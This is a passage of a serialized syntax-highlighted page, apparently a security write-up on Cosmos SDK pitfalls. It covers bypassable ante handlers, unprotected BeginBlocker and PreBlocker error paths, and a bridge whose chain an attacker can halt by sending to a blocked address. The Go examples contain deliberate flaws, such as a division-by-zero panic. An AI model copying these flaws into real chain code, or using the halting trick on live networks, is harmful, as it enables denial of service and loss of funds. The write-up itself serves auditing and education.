authante",{"type":23,"tag":213,"props":80840,"children":80841},{"style":220},[80842],{"type":28,"value":124},{"type":23,"tag":213,"props":80844,"children":80845},{"style":257},[80846],{"type":28,"value":80847},"NewSetUpContextDecorator",{"type":23,"tag":213,"props":80849,"children":80850},{"style":220},[80851],{"type":28,"value":18426},{"type":23,"tag":213,"props":80853,"children":80854},{"style":537},[80855],{"type":28,"value":79348},{"type":23,"tag":213,"props":80857,"children":80858},{"class":215,"line":23905},[80859],{"type":23,"tag":213,"props":80860,"children":80861},{"style":274},[80862],{"type":28,"value":80863}," ...\n",{"type":23,"tag":213,"props":80865,"children":80866},{"class":215,"line":23918},[80867,80871,80875,80880,80884,80888,80892],{"type":23,"tag":213,"props":80868,"children":80869},{"style":268},[80870],{"type":28,"value":80838},{"type":23,"tag":213,"props":80872,"children":80873},{"style":220},[80874],{"type":28,"value":124},{"type":23,"tag":213,"props":80876,"children":80877},{"style":257},[80878],{"type":28,"value":80879},"NewIncrementSequenceDecorator",{"type":23,"tag":213,"props":80881,"children":80882},{"style":220},[80883],{"type":28,"value":265},{"type":23,"tag":213,"props":80885,"children":80886},{"style":268},[80887],{"type":28,"value":80530},{"type":23,"tag":213,"props":80889,"children":80890},{"style":220},[80891],{"type":28,"value":15236},{"type":23,"tag":213,"props":80893,"children":80894},{"style":537},[80895],{"type":28,"value":80896},"// innermost AnteDecorator\n",{"type":23,"tag":213,"props":80898,"children":80899},{"class":215,"line":23972},[80900],{"type":23,"tag":213,"props":80901,"children":80902},{"style":220},[80903],{"type":28,"value":77568},{"type":23,"tag":213,"props":80905,"children":80906},{"class":215,"line":23980},[80907,80912],{"type":23,"tag":213,"props":80908,"children":80909},{"style":1362},[80910],{"type":28,"value":80911}," default",{"type":23,"tag":213,"props":80913,"children":80914},{"style":220},[80915],{"type":28,"value":5661},{"type":23,"tag":213,"props":80917,"children":80918},{"class":215,"line":32336},[80919,80923,80927,80931,80935,80939,80943],{"type":23,"tag":213,"props":80920,"children":80921},{"style":1362},[80922],{"type":28,"value":79129},{"type":23,"tag":213,"props":80924,"children":80925},{"style":268},[80926],{"type":28,"value":25898},{"type":23,"tag":213,"props":80928,"children":80929},{"style":220},[80930],{"type":28,"value":424},{"type":23,"tag":213,"props":80932,"children":80933},{"style":268},[80934],{"type":28,"value":80587},{"type":23,"tag":213,"props":80936,"children":80937},{"style":220},[80938],{"type":28,"value":124},{"type":23,"tag":213,"props":80940,"children":80941},{"style":257},[80942],{"type":28,"value":80596},{"type":23,"tag":213,"props":80944,"children":80945},{"style":220},[80946],{"type":28,"value":1511},{"type":23,"tag":213,"props":80948,"children":80949},{"class":215,"line":32357},[80950,80955,80959,80964,80968,80972,80976,80981,80985,80990,80994,80998],{"type":23,"tag":213,"props":80951,"children":80952},{"style":268},[80953],{"type":28,"value":80954}," sdkerrors",{"type":23,"tag":213,"props":80956,"children":80957},{"style":220},[80958],{"type":28,"value":124},{"type":23,"tag":213,"props":80960,"children":80961},{"style":257},[80962],{"type":28,"value":80963},"Wrapf",{"type":23,"tag":213,"props":80965,"children":80966},{"style":220},[80967],{"type":28,"value":265},{"type":23,"tag":213,"props":80969,"children":80970},{"style":268},[80971],{"type":28,"value":80625},{"type":23,"tag":213,"props":80973,"children":80974},{"style":220},[80975],{"type":28,"value":124},{"type":23,"tag":213,"props":80977,"children":80978},{"style":268},[80979],{"type":28,"value":80980},"ErrUnknownRequest",{"type":23,"tag":213,"props":80982,"children":80983},{"style":220},[80984],{"type":28,"value":424},{"type":23,"tag":213,"props":80986,"children":80987},{"style":246},[80988],{"type":28,"value":80989},"\"invalid transaction type: %T\"",{"type":23,"tag":213,"props":80991,"children":80992},{"style":220},[80993],{"type":28,"value":424},{"type":23,"tag":213,"props":80995,"children":80996},{"style":268},[80997],{"type":28,"value":79234},{"type":23,"tag":213,"props":80999,"children":81000},{"style":220},[81001],{"type":28,"value":1715},{"type":23,"tag":213,"props":81003,"children":81005},{"class":215,"line":81004},53,[81006,81011],{"type":23,"tag":213,"props":81007,"children":81008},{"style":246},[81009],{"type":28,"value":81010}," \"transaction is not an SDK tx\"",{"type":23,"tag":213,"props":81012,"children":81013},{"style":220},[81014],{"type":28,"value":944},{"type":23,"tag":213,"props":81016,"children":81018},{"class":215,"line":81017},54,[81019],{"type":23,"tag":213,"props":81020,"children":81021},{"style":220},[81022],{"type":28,"value":77568},{"type":23,"tag":213,"props":81024,"children":81026},{"class":215,"line":81025},55,[81027],{"type":23,"tag":213,"props":81028,"children":81029},{"style":220},[81030],{"type":28,"value":3444},{"type":23,"tag":213,"props":81032,"children":81034},{"class":215,"line":81033},56,[81035],{"type":23,"tag":213,"props":81036,"children":81037},{"emptyLinePlaceholder":18},[81038],{"type":28,"value":530},{"type":23,"tag":213,"props":81040,"children":81042},{"class":215,"line":81041},57,[81043,81047,81051,81055,81059,81063,81067,81071,81075],{"type":23,"tag":213,"props":81044,"children":81045},{"style":1362},[81046],{"type":28,"value":2839},{"type":23,"tag":213,"props":81048,"children":81049},{"style":257},[81050],{"type":28,"value":80176},{"type":23,"tag":213,"props":81052,"children":81053},{"style":220},[81054],{"type":28,"value":265},{"type":23,"tag":213,"props":81056,"children":81057},{"style":268},[81058],{"type":28,"value":20335},{"type":23,"tag":213,"props":81060,"children":81061},{"style":220},[81062],{"type":28,"value":424},{"type":23,"tag":213,"props":81064,"children":81065},{"style":268},[81066],{"type":28,"value":79234},{"type":23,"tag":213,"props":81068,"children":81069},{"style":220},[81070],{"type":28,"value":424},{"type":23,"tag":213,"props":81072,"children":81073},{"style":268},[81074],{"type":28,"value":80114},{"type":23,"tag":213,"props":81076,"children":81077},{"style":220},[81078],{"type":28,"value":2183},{"type":23,"tag":213,"props":81080,"children":81082},{"class":215,"line":81081},58,[81083],{"type":23,"tag":213,"props":81084,"children":81085},{"style":220},[81086],{"type":28,"value":2875},{"type":23,"tag":213,"props":81088,"children":81090},{"class":215,"line":81089},59,[81091],{"type":23,"tag":213,"props":81092,"children":81093},{"style":220},[81094],{"type":28,"value":1208},{"type":23,"tag":24,"props":81096,"children":81097},{},[81098,81100,81105,81107,81114,81115,81122],{"type":28,"value":81099},"Additional examples of incorrect ",{"type":23,"tag":209,"props":81101,"children":81103},{"className":81102},[],[81104],{"type":28,"value":78523},{"type":28,"value":81106}," usage include ",{"type":23,"tag":36,"props":81108,"children":81111},{"href":81109,"rel":81110},"https://jumpcrypto.com/writing/bypassing-ethermint-ante-handlers",[40],[81112],{"type":28,"value":81113},"yet more bypassable checks and loss of funds",{"type":28,"value":1466},{"type":23,"tag":36,"props":81116,"children":81119},{"href":81117,"rel":81118},"https://github.com/cosmos/ibc-go/issues/853",[40],[81120],{"type":28,"value":81121},"incorrect data passing between blockchains",{"type":28,"value":124},{"type":23,"tag":47,"props":81124,"children":81126},{"id":81125},"errors-panics-i-can-handle-it",[81127],{"type":28,"value":81128},"Errors? Panics? I can handle it",{"type":23,"tag":24,"props":81130,"children":81131},{},[81132],{"type":28,"value":81133},"Smart contract developers are used to not properly handling errors. This is acceptable since most underlying blockchains revert all state changes when execution fails.",{"type":23,"tag":24,"props":81135,"children":81136},{},[81137],{"type":28,"value":81138},"Cosmos is designed to provide a similar experience. Whenever some message handler returns an error, changes to the persistent state are dropped. Panics are handled similarly, where a recovery handler is wrapped around the message execution to convert panics into errors for a downstream process.",{"type":23,"tag":24,"props":81140,"children":81141},{},[81142,81144,81150,81152,81157],{"type":28,"value":81143},"This design is pretty neat and allows developers to write code in a rather lazy way. For instance, the following code works perfectly fine. If ",{"type":23,"tag":209,"props":81145,"children":81147},{"className":81146},[],[81148],{"type":28,"value":81149},"k.keeper.TotalReward()",{"type":28,"value":81151}," returns zero, the ",{"type":23,"tag":209,"props":81153,"children":81155},{"className":81154},[],[81156],{"type":28,"value":57999},{"type":28,"value":81158}," execution will simply rollback as if nothing has happened.",{"type":23,"tag":202,"props":81160,"children":81162},{"code":81161,"language":76217,"meta":7,"className":76218,"style":7},"func (k msgServer) AllocateReward(\n goCtx context.Context,\n msg *types.MsgAllocateReward)\n(*types.MsgAllocatRewardResponse, error) {\n\n RewardPerShare := k.keeper.Shares() / k.keeper.TotalReward()\n k.keeper.DistributeReward(RewardPerShare)\n\n return &types.MsgAllocateRewardResponse, nil\n}\n",[81163],{"type":23,"tag":209,"props":81164,"children":81165},{"__ignoreMap":7},[81166,81199,81222,81250,81286,81293,81362,81400,81407,81439],{"type":23,"tag":213,"props":81167,"children":81168},{"class":215,"line":216},[81169,81173,81177,81182,81186,81190,81195],{"type":23,"tag":213,"props":81170,"children":81171},{"style":230},[81172],{"type":28,"value":76353},{"type":23,"tag":213,"props":81174,"children":81175},{"style":220},[81176],{"type":28,"value":400},{"type":23,"tag":213,"props":81178,"children":81179},{"style":268},[81180],{"type":28,"value":81181},"k ",{"type":23,"tag":213,"props":81183,"children":81184},{"style":290},[81185],{"type":28,"value":76367},{"type":23,"tag":213,"props":81187,"children":81188},{"style":220},[81189],{"type":28,"value":298},{"type":23,"tag":213,"props":81191,"children":81192},{"style":257},[81193],{"type":28,"value":81194},"AllocateReward",{"type":23,"tag":213,"props":81196,"children":81197},{"style":220},[81198],{"type":28,"value":1511},{"type":23,"tag":213,"props":81200,"children":81201},{"class":215,"line":226},[81202,81206,81210,81214,81218],{"type":23,"tag":213,"props":81203,"children":81204},{"style":268},[81205],{"type":28,"value":76388},{"type":23,"tag":213,"props":81207,"children":81208},{"style":290},[81209],{"type":28,"value":76393},{"type":23,"tag":213,"props":81211,"children":81212},{"style":220},[81213],{"type":28,"value":124},{"type":23,"tag":213,"props":81215,"children":81216},{"style":290},[81217],{"type":28,"value":76402},{"type":23,"tag":213,"props":81219,"children":81220},{"style":220},[81221],{"type":28,"value":944},{"type":23,"tag":213,"props":81223,"children":81224},{"class":215,"line":524},[81225,81229,81233,81237,81241,81246],{"type":23,"tag":213,"props":81226,"children":81227},{"style":268},[81228],{"type":28,"value":76414},{"type":23,"tag":213,"props":81230,"children":81231},{"style":274},[81232],{"type":28,"value":282},{"type":23,"tag":213,"props":81234,"children":81235},{"style":290},[81236],{"type":28,"value":5852},{"type":23,"tag":213,"props":81238,"children":81239},{"style":220},[81240],{"type":28,"value":124},{"type":23,"tag":213,"props":81242,"children":81243},{"style":290},[81244],{"type":28,"value":81245},"MsgAllocateReward",{"type":23,"tag":213,"props":81247,"children":81248},{"style":220},[81249],{"type":28,"value":2183},{"type":23,"tag":213,"props":81251,"children":81252},{"class":215,"line":533},[81253,81257,81261,81265,81269,81274,81278,81282],{"type":23,"tag":213,"props":81254,"children":81255},{"style":220},[81256],{"type":28,"value":265},{"type":23,"tag":213,"props":81258,"children":81259},{"style":274},[81260],{"type":28,"value":1696},{"type":23,"tag":213,"props":81262,"children":81263},{"style":290},[81264],{"type":28,"value":5852},{"type":23,"tag":213,"props":81266,"children":81267},{"style":220},[81268],{"type":28,"value":124},{"type":23,"tag":213,"props":81270,"children":81271},{"style":290},[81272],{"type":28,"value":81273},"MsgAllocatRewardResponse",{"type":23,"tag":213,"props":81275,"children":81276},{"style":220},[81277],{"type":28,"value":424},{"type":23,"tag":213,"props":81279,"children":81280},{"style":290},[81281],{"type":28,"value":14929},{"type":23,"tag":213,"props":81283,"children":81284},{"style":220},[81285],{"type":28,"value":14870},{"type":23,"tag":213,"props":81287,"children":81288},{"class":215,"line":543},[81289],{"type":23,"tag":213,"props":81290,"children":81291},{"emptyLinePlaceholder":18},[81292],{"type":28,"value":530},{"type":23,"tag":213,"props":81294,"children":81295},{"class":215,"line":551},[81296,81301,81305,81310,81314,81319,81323,81328,81332,81336,81341,81345,81349,81353,81358],{"type":23,"tag":213,"props":81297,"children":81298},{"style":268},[81299],{"type":28,"value":81300}," RewardPerShare",{"type":23,"tag":213,"props":81302,"children":81303},{"style":274},[81304],{"type":28,"value":76469},{"type":23,"tag":213,"props":81306,"children":81307},{"style":268},[81308],{"type":28,"value":81309}," k",{"type":23,"tag":213,"props":81311,"children":81312},{"style":220},[81313],{"type":28,"value":124},{"type":23,"tag":213,"props":81315,"children":81316},{"style":268},[81317],{"type":28,"value":81318},"keeper",{"type":23,"tag":213,"props":81320,"children":81321},{"style":220},[81322],{"type":28,"value":124},{"type":23,"tag":213,"props":81324,"children":81325},{"style":257},[81326],{"type":28,"value":81327},"Shares",{"type":23,"tag":213,"props":81329,"children":81330},{"style":220},[81331],{"type":28,"value":2698},{"type":23,"tag":213,"props":81333,"children":81334},{"style":274},[81335],{"type":28,"value":4675},{"type":23,"tag":213,"props":81337,"children":81338},{"style":268},[81339],{"type":28,"value":81340}," k",{"type":23,"tag":213,"props":81342,"children":81343},{"style":220},[81344],{"type":28,"value":124},{"type":23,"tag":213,"props":81346,"children":81347},{"style":268},[81348],{"type":28,"value":81318},{"type":23,"tag":213,"props":81350,"children":81351},{"style":220},[81352],{"type":28,"value":124},{"type":23,"tag":213,"props":81354,"children":81355},{"style":257},[81356],{"type":28,"value":81357},"TotalReward",{"type":23,"tag":213,"props":81359,"children":81360},{"style":220},[81361],{"type":28,"value":7824},{"type":23,"tag":213,"props":81363,"children":81364},{"class":215,"line":570},[81365,81370,81374,81378,81382,81387,81391,81396],{"type":23,"tag":213,"props":81366,"children":81367},{"style":268},[81368],{"type":28,"value":81369}," k",{"type":23,"tag":213,"props":81371,"children":81372},{"style":220},[81373],{"type":28,"value":124},{"type":23,"tag":213,"props":81375,"children":81376},{"style":268},[81377],{"type":28,"value":81318},{"type":23,"tag":213,"props":81379,"children":81380},{"style":220},[81381],{"type":28,"value":124},{"type":23,"tag":213,"props":81383,"children":81384},{"style":257},[81385],{"type":28,"value":81386},"DistributeReward",{"type":23,"tag":213,"props":81388,"children":81389},{"style":220},[81390],{"type":28,"value":265},{"type":23,"tag":213,"props":81392,"children":81393},{"style":268},[81394],{"type":28,"value":81395},"RewardPerShare",{"type":23,"tag":213,"props":81397,"children":81398},{"style":220},[81399],{"type":28,"value":2183},{"type":23,"tag":213,"props":81401,"children":81402},{"class":215,"line":655},[81403],{"type":23,"tag":213,"props":81404,"children":81405},{"emptyLinePlaceholder":18},[81406],{"type":28,"value":530},{"type":23,"tag":213,"props":81408,"children":81409},{"class":215,"line":1176},[81410,81414,81418,81422,81426,81431,81435],{"type":23,"tag":213,"props":81411,"children":81412},{"style":1362},[81413],{"type":28,"value":17040},{"type":23,"tag":213,"props":81415,"children":81416},{"style":274},[81417],{"type":28,"value":927},{"type":23,"tag":213,"props":81419,"children":81420},{"style":268},[81421],{"type":28,"value":5852},{"type":23,"tag":213,"props":81423,"children":81424},{"style":220},[81425],{"type":28,"value":124},{"type":23,"tag":213,"props":81427,"children":81428},{"style":268},[81429],{"type":28,"value":81430},"MsgAllocateRewardResponse",{"type":23,"tag":213,"props":81432,"children":81433},{"style":220},[81434],{"type":28,"value":424},{"type":23,"tag":213,"props":81436,"children":81437},{"style":230},[81438],{"type":28,"value":76695},{"type":23,"tag":213,"props":81440,"children":81441},{"class":215,"line":1202},[81442],{"type":23,"tag":213,"props":81443,"children":81444},{"style":220},[81445],{"type":28,"value":1208},{"type":23,"tag":24,"props":81447,"children":81448},{},[81449,81451,81457,81458,81464,81465,81471,81473,81478],{"type":28,"value":81450},"However, the same assumption does not always hold. Certain parts of Cosmos, such as ",{"type":23,"tag":209,"props":81452,"children":81454},{"className":81453},[],[81455],{"type":28,"value":81456},"PreBlocker",{"type":28,"value":424},{"type":23,"tag":209,"props":81459,"children":81461},{"className":81460},[],[81462],{"type":28,"value":81463},"BeginBlocker",{"type":28,"value":6580},{"type":23,"tag":209,"props":81466,"children":81468},{"className":81467},[],[81469],{"type":28,"value":81470},"EndBlocker",{"type":28,"value":81472},", are not protected by the error handling mechanism. So, if we move the reward distribution logic into ",{"type":23,"tag":209,"props":81474,"children":81476},{"className":81475},[],[81477],{"type":28,"value":81463},{"type":28,"value":81479}," to automatically distribute rewards at the start of each block, panics raised by division by 0 will halt the chain.",{"type":23,"tag":202,"props":81481,"children":81483},{"code":81482,"language":76217,"meta":7,"className":76218,"style":7},"func BeginBlocker(ctx context.Context, keeper keeper.Keeper) error {\n\n RewardPerShare := keeper.Shares() / keeper.TotalReward()\n keeper.DistributeReward(RewardPerShare)\n\n return nil\n}\n",[81484],{"type":23,"tag":209,"props":81485,"children":81486},{"__ignoreMap":7},[81487,81552,81559,81607,81635,81642,81654],{"type":23,"tag":213,"props":81488,"children":81489},{"class":215,"line":216},[81490,81494,81499,81503,81507,81511,81515,81519,81523,81527,81532,81536,81540,81544,81548],{"type":23,"tag":213,"props":81491,"children":81492},{"style":230},[81493],{"type":28,"value":76353},{"type":23,"tag":213,"props":81495,"children":81496},{"style":257},[81497],{"type":28,"value":81498}," BeginBlocker",{"type":23,"tag":213,"props":81500,"children":81501},{"style":220},[81502],{"type":28,"value":265},{"type":23,"tag":213,"props":81504,"children":81505},{"style":268},[81506],{"type":28,"value":20335},{"type":23,"tag":213,"props":81508,"children":81509},{"style":290},[81510],{"type":28,"value":76393},{"type":23,"tag":213,"props":81512,"children":81513},{"style":220},[81514],{"type":28,"value":124},{"type":23,"tag":213,"props":81516,"children":81517},{"style":290},[81518],{"type":28,"value":76402},{"type":23,"tag":213,"props":81520,"children":81521},{"style":220},[81522],{"type":28,"value":424},{"type":23,"tag":213,"props":81524,"children":81525},{"style":268},[81526],{"type":28,"value":81318},{"type":23,"tag":213,"props":81528,"children":81529},{"style":290},[81530],{"type":28,"value":81531}," keeper",{"type":23,"tag":213,"props":81533,"children":81534},{"style":220},[81535],{"type":28,"value":124},{"type":23,"tag":213,"props":81537,"children":81538},{"style":290},[81539],{"type":28,"value":79998},{"type":23,"tag":213,"props":81541,"children":81542},{"style":220},[81543],{"type":28,"value":298},{"type":23,"tag":213,"props":81545,"children":81546},{"style":290},[81547],{"type":28,"value":14929},{"type":23,"tag":213,"props":81549,"children":81550},{"style":220},[81551],{"type":28,"value":1375},{"type":23,"tag":213,"props":81553,"children":81554},{"class":215,"line":226},[81555],{"type":23,"tag":213,"props":81556,"children":81557},{"emptyLinePlaceholder":18},[81558],{"type":28,"value":530},{"type":23,"tag":213,"props":81560,"children":81561},{"class":215,"line":524},[81562,81566,81570,81574,81578,81582,81586,81590,81595,81599,81603],{"type":23,"tag":213,"props":81563,"children":81564},{"style":268},[81565],{"type":28,"value":81300},{"type":23,"tag":213,"props":81567,"children":81568},{"style":274},[81569],{"type":28,"value":76469},{"type":23,"tag":213,"props":81571,"children":81572},{"style":268},[81573],{"type":28,"value":81531},{"type":23,"tag":213,"props":81575,"children":81576},{"style":220},[81577],{"type":28,"value":124},{"type":23,"tag":213,"props":81579,"children":81580},{"style":257},[81581],{"type":28,"value":81327},{"type":23,"tag":213,"props":81583,"children":81584},{"style":220},[81585],{"type":28,"value":2698},{"type":23,"tag":213,"props":81587,"children":81588},{"style":274},[81589],{"type":28,"value":4675},{"type":23,"tag":213,"props":81591,"children":81592},{"style":268},[81593],{"type":28,"value":81594}," keeper",{"type":23,"tag":213,"props":81596,"children":81597},{"style":220},[81598],{"type":28,"value":124},{"type":23,"tag":213,"props":81600,"children":81601},{"style":257},[81602],{"type":28,"value":81357},{"type":23,"tag":213,"props":81604,"children":81605},{"style":220},[81606],{"type":28,"value":7824},{"type":23,"tag":213,"props":81608,"children":81609},{"class":215,"line":533},[81610,81615,81619,81623,81627,81631],{"type":23,"tag":213,"props":81611,"children":81612},{"style":268},[81613],{"type":28,"value":81614}," keeper",{"type":23,"tag":213,"props":81616,"children":81617},{"style":220},[81618],{"type":28,"value":124},{"type":23,"tag":213,"props":81620,"children":81621},{"style":257},[81622],{"type":28,"value":81386},{"type":23,"tag":213,"props":81624,"children":81625},{"style":220},[81626],{"type":28,"value":265},{"type":23,"tag":213,"props":81628,"children":81629},{"style":268},[81630],{"type":28,"value":81395},{"type":23,"tag":213,"props":81632,"children":81633},{"style":220},[81634],{"type":28,"value":2183},{"type":23,"tag":213,"props":81636,"children":81637},{"class":215,"line":543},[81638],{"type":23,"tag":213,"props":81639,"children":81640},{"emptyLinePlaceholder":18},[81641],{"type":28,"value":530},{"type":23,"tag":213,"props":81643,"children":81644},{"class":215,"line":551},[81645,81649],{"type":23,"tag":213,"props":81646,"children":81647},{"style":1362},[81648],{"type":28,"value":52919},{"type":23,"tag":213,"props":81650,"children":81651},{"style":230},[81652],{"type":28,"value":81653}," nil\n",{"type":23,"tag":213,"props":81655,"children":81656},{"class":215,"line":570},[81657],{"type":23,"tag":213,"props":81658,"children":81659},{"style":220},[81660],{"type":28,"value":1208},{"type":23,"tag":9693,"props":81662,"children":81664},{"id":81663},"real-world-examples-3",[81665],{"type":28,"value":76742},{"type":23,"tag":24,"props":81667,"children":81668},{},[81669],{"type":28,"value":81670},"Recently, developers have become increasingly aware of unprotected ABCI functions, but this doesn't stop DoS bugs from manifesting. So what is the catch?",{"type":23,"tag":24,"props":81672,"children":81673},{},[81674,81676,81682,81684,81689,81691,81697,81699,81705,81707,81713],{"type":28,"value":81675},"The problem lies in the lack of proper understanding of utility functions. The example here implements a bridge that mints wrapped BTC tokens in the PreBlocker when bridging events are observed. Notably, errors returned by ",{"type":23,"tag":209,"props":81677,"children":81679},{"className":81678},[],[81680],{"type":28,"value":81681},"bankKeeper.SendCoinsFromModuleToAccount",{"type":28,"value":81683}," will be bubbled up through ",{"type":23,"tag":209,"props":81685,"children":81687},{"className":81686},[],[81688],{"type":28,"value":81456},{"type":28,"value":81690}," and halt the chain. It turns out an attacker can force ",{"type":23,"tag":209,"props":81692,"children":81694},{"className":81693},[],[81695],{"type":28,"value":81696},"SendCoinsFromModuleToAccount",{"type":28,"value":81698}," to return an error by setting ",{"type":23,"tag":209,"props":81700,"children":81702},{"className":81701},[],[81703],{"type":28,"value":81704},"recipient",{"type":28,"value":81706}," to some ",{"type":23,"tag":209,"props":81708,"children":81710},{"className":81709},[],[81711],{"type":28,"value":81712},"BlockedAddr",{"type":28,"value":81714},",rendering the code susceptible to DoS attacks.",{"type":23,"tag":24,"props":81716,"children":81717},{},[81718],{"type":23,"tag":36,"props":81719,"children":81722},{"href":81720,"rel":81721},"https://github.com/mezo-org/mezod/blob/d3b1a049a9acce977fdadd245cb381252f101922/x/bridge/keeper/assets_locked.go#L170",[40],[81723],{"type":28,"value":76792},{"type":23,"tag":202,"props":81725,"children":81727},{"code":81726,"language":76217,"meta":7,"className":76218,"style":7},"func (pbh *PreBlockHandler) PreBlocker() sdk.PreBlocker {\n return func(\n ctx sdk.Context,\n req *cmtabci.RequestFinalizeBlock,\n ) (*sdk.ResponsePreBlock, error) {\n ...\n err := pbh.bridgeKeeper.AcceptAssetsLocked(ctx, events)\n if err != nil {\n return nil, fmt.Errorf(\"cannot accept AssetsLocked events: %w\", err)\n }\n ...\n }\n}\n\nfunc (k Keeper) AcceptAssetsLocked(\n ctx sdk.Context,\n events types.AssetsLockedEvents,\n) error {\n ...\n for _, event := range events {\n recipient, err := sdk.AccAddressFromBech32(event.Recipient)\n if err != nil {\n return fmt.Errorf(\"failed to parse recipient address: %w\", err)\n }\n\n if bytes.Equal(event.TokenBytes(), sourceBTCToken) {\n err = k.mintBTC(ctx, recipient, event.Amount)\n if err != nil {\n return fmt.Errorf(\n \"failed to mint BTC for event %v: %w\",\n event.Sequence,\n err,\n )\n }\n } else {\n ...\n }\n }\n ...\n}\n\nfunc (k Keeper) mintBTC(\n ctx sdk.Context,\n recipient sdk.AccAddress,\n amount math.Int,\n) error {\n ...\n err = k.bankKeeper.SendCoinsFromModuleToAccount(\n ctx,\n types.ModuleName,\n recipient,\n coins,\n )\n if err != nil {\n return fmt.Errorf(\"failed to send coins: %w\", err)\n }\n ...\n}\n",[81728],{"type":23,"tag":209,"props":81729,"children":81730},{"__ignoreMap":7},[81731,81784,81799,81822,81852,81888,81896,81952,81976,82026,82033,82040,82047,82054,82061,82092,82115,82140,82155,82162,82199,82253,82276,82317,82324,82331,82382,82443,82466,82489,82501,82522,82534,82542,82549,82564,82572,82579,82586,82593,82600,82607,82638,82661,82686,82711,82726,82733,82770,82781,82802,82813,82825,82832,82855,82895,82902,82909],{"type":23,"tag":213,"props":81732,"children":81733},{"class":215,"line":216},[81734,81738,81742,81747,81751,81756,81760,81764,81768,81772,81776,81780],{"type":23,"tag":213,"props":81735,"children":81736},{"style":230},[81737],{"type":28,"value":76353},{"type":23,"tag":213,"props":81739,"children":81740},{"style":220},[81741],{"type":28,"value":400},{"type":23,"tag":213,"props":81743,"children":81744},{"style":268},[81745],{"type":28,"value":81746},"pbh ",{"type":23,"tag":213,"props":81748,"children":81749},{"style":274},[81750],{"type":28,"value":1696},{"type":23,"tag":213,"props":81752,"children":81753},{"style":290},[81754],{"type":28,"value":81755},"PreBlockHandler",{"type":23,"tag":213,"props":81757,"children":81758},{"style":220},[81759],{"type":28,"value":298},{"type":23,"tag":213,"props":81761,"children":81762},{"style":257},[81763],{"type":28,"value":81456},{"type":23,"tag":213,"props":81765,"children":81766},{"style":220},[81767],{"type":28,"value":2698},{"type":23,"tag":213,"props":81769,"children":81770},{"style":290},[81771],{"type":28,"value":78783},{"type":23,"tag":213,"props":81773,"children":81774},{"style":220},[81775],{"type":28,"value":124},{"type":23,"tag":213,"props":81777,"children":81778},{"style":290},[81779],{"type":28,"value":81456},{"type":23,"tag":213,"props":81781,"children":81782},{"style":220},[81783],{"type":28,"value":1375},{"type":23,"tag":213,"props":81785,"children":81786},{"class":215,"line":226},[81787,81791,81795],{"type":23,"tag":213,"props":81788,"children":81789},{"style":1362},[81790],{"type":28,"value":17040},{"type":23,"tag":213,"props":81792,"children":81793},{"style":230},[81794],{"type":28,"value":80062},{"type":23,"tag":213,"props":81796,"children":81797},{"style":220},[81798],{"type":28,"value":1511},{"type":23,"tag":213,"props":81800,"children":81801},{"class":215,"line":524},[81802,81806,81810,81814,81818],{"type":23,"tag":213,"props":81803,"children":81804},{"style":268},[81805],{"type":28,"value":26241},{"type":23,"tag":213,"props":81807,"children":81808},{"style":290},[81809],{"type":28,"value":78694},{"type":23,"tag":213,"props":81811,"children":81812},{"style":220},[81813],{"type":28,"value":124},{"type":23,"tag":213,"props":81815,"children":81816},{"style":290},[81817],{"type":28,"value":76402},{"type":23,"tag":213,"props":81819,"children":81820},{"style":220},[81821],{"type":28,"value":944},{"type":23,"tag":213,"props":81823,"children":81824},{"class":215,"line":533},[81825,81830,81834,81839,81843,81848],{"type":23,"tag":213,"props":81826,"children":81827},{"style":268},[81828],{"type":28,"value":81829}," req",{"type":23,"tag":213,"props":81831,"children":81832},{"style":274},[81833],{"type":28,"value":282},{"type":23,"tag":213,"props":81835,"children":81836},{"style":290},[81837],{"type":28,"value":81838},"cmtabci",{"type":23,"tag":213,"props":81840,"children":81841},{"style":220},[81842],{"type":28,"value":124},{"type":23,"tag":213,"props":81844,"children":81845},{"style":290},[81846],{"type":28,"value":81847},"RequestFinalizeBlock",{"type":23,"tag":213,"props":81849,"children":81850},{"style":220},[81851],{"type":28,"value":944},{"type":23,"tag":213,"props":81853,"children":81854},{"class":215,"line":543},[81855,81859,81863,81867,81871,81876,81880,81884],{"type":23,"tag":213,"props":81856,"children":81857},{"style":220},[81858],{"type":28,"value":80130},{"type":23,"tag":213,"props":81860,"children":81861},{"style":274},[81862],{"type":28,"value":1696},{"type":23,"tag":213,"props":81864,"children":81865},{"style":290},[81866],{"type":28,"value":78783},{"type":23,"tag":213,"props":81868,"children":81869},{"style":220},[81870],{"type":28,"value":124},{"type":23,"tag":213,"props":81872,"children":81873},{"style":290},[81874],{"type":28,"value":81875},"ResponsePreBlock",{"type":23,"tag":213,"props":81877,"children":81878},{"style":220},[81879],{"type":28,"value":424},{"type":23,"tag":213,"props":81881,"children":81882},{"style":290},[81883],{"type":28,"value":14929},{"type":23,"tag":213,"props":81885,"children":81886},{"style":220},[81887],{"type":28,"value":14870},{"type":23,"tag":213,"props":81889,"children":81890},{"class":215,"line":551},[81891],{"type":23,"tag":213,"props":81892,"children":81893},{"style":274},[81894],{"type":28,"value":81895}," ...\n",{"type":23,"tag":213,"props":81897,"children":81898},{"class":215,"line":570},[81899,81904,81908,81913,81917,81922,81926,81931,81935,81939,81943,81948],{"type":23,"tag":213,"props":81900,"children":81901},{"style":268},[81902],{"type":28,"value":81903}," err",{"type":23,"tag":213,"props":81905,"children":81906},{"style":274},[81907],{"type":28,"value":76469},{"type":23,"tag":213,"props":81909,"children":81910},{"style":268},[81911],{"type":28,"value":81912}," pbh",{"type":23,"tag":213,"props":81914,"children":81915},{"style":220},[81916],{"type":28,"value":124},{"type":23,"tag":213,"props":81918,"children":81919},{"style":268},[81920],{"type":28,"value":81921},"bridgeKeeper",{"type":23,"tag":213,"props":81923,"children":81924},{"style":220},[81925],{"type":28,"value":124},{"type":23,"tag":213,"props":81927,"children":81928},{"style":257},[81929],{"type":28,"value":81930},"AcceptAssetsLocked",{"type":23,"tag":213,"props":81932,"children":81933},{"style":220},[81934],{"type":28,"value":265},{"type":23,"tag":213,"props":81936,"children":81937},{"style":268},[81938],{"type":28,"value":20335},{"type":23,"tag":213,"props":81940,"children":81941},{"style":220},[81942],{"type":28,"value":424},{"type":23,"tag":213,"props":81944,"children":81945},{"style":268},[81946],{"type":28,"value":81947},"events",{"type":23,"tag":213,"props":81949,"children":81950},{"style":220},[81951],{"type":28,"value":2183},{"type":23,"tag":213,"props":81953,"children":81954},{"class":215,"line":655},[81955,81959,81963,81967,81972],{"type":23,"tag":213,"props":81956,"children":81957},{"style":1362},[81958],{"type":28,"value":3369},{"type":23,"tag":213,"props":81960,"children":81961},{"style":268},[81962],{"type":28,"value":48573},{"type":23,"tag":213,"props":81964,"children":81965},{"style":274},[81966],{"type":28,"value":64440},{"type":23,"tag":213,"props":81968,"children":81969},{"